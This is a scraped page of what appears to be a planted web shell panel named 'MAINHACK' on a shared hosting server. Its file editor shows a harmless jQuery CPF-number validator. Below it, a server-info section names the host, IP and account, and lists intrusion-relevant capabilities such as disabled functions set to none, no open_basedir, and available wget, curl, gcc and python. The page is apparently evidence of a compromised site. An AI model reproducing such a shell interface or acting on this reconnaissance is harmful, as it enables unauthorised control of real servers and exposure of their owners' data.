[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: cpfBR.js
/* * Brazillian CPF number (Cadastrado de Pessoas Físicas) is the equivalent of a Brazilian tax registration number. * CPF numbers have 11 digits in total: 9 numbers followed by 2 check numbers that are being used for validation. */ $.validator.addMethod( "cpfBR", function( value ) { // Removing special characters from value value = value.replace( /([~!@#$%^&*()_+=`{}\[\]\-|\\:;'<>,.\/? ])+/g, "" ); // Checking value to have 11 digits only if ( value.length !== 11 ) { return false; } var sum = 0, firstCN, secondCN, checkResult, i; firstCN = parseInt( value.substring( 9, 10 ), 10 ); secondCN = parseInt( value.substring( 10, 11 ), 10 ); checkResult = function( sum, cn ) { var result = ( sum * 10 ) % 11; if ( ( result === 10 ) || ( result === 11 ) ) { result = 0; } return ( result === cn ); }; // Checking for dump data if ( value === "" || value === "00000000000" || value === "11111111111" || value === "22222222222" || value === "33333333333" || value === "44444444444" || value === "55555555555" || value === "66666666666" || value === "77777777777" || value === "88888888888" || value === "99999999999" ) { return false; } // Step 1 - using first Check Number: for ( i = 1; i <= 9; i++ ) { sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 11 - i ); } // If first Check Number (CN) is valid, move to Step 2 - using second Check Number: if ( checkResult( sum, firstCN ) ) { sum = 0; for ( i = 1; i <= 10; i++ ) { sum = sum + parseInt( value.substring( i - 1, i ), 10 ) * ( 12 - i ); } return checkResult( sum, secondCN ); } return false; }, "Please specify a valid CPF number" );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285